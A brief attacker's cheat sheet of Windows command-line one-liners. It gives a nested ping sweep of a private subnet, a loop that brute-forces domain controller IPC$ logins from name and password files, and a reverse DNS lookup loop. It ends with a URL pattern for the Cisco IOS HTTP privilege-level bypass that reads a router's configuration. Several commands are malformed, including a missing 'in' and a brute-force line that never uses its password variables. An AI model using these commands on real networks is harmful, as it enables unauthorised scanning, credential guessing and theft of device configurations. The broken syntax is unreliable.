Nested for ping sweep

 for /L %i (10,1,254) do @ (for /L %x in (10,1,254) do @ ping -n 1 -w 100 10.10.%i.%x 2>nul | find "Reply" && echo 10.10.%i.%x >> alive_ip.txt

Domain brute forcer

for /F %n in (names.txt) do for /F %p in (pawds.txt) do net use \\DC01\IPC$ \\DC01\IPC$ > NUL

dns reverse lookup

for /L %i in (100,1,105) do @ nslookup 1.1.1.%i | findstr /i /c:"Name" >> dns.txt && echo Server: 1.1.1.%i >> dns.txt

CISCO IOS 11.2-12.2

http://<ip>/level/<16-99>/exec/show/config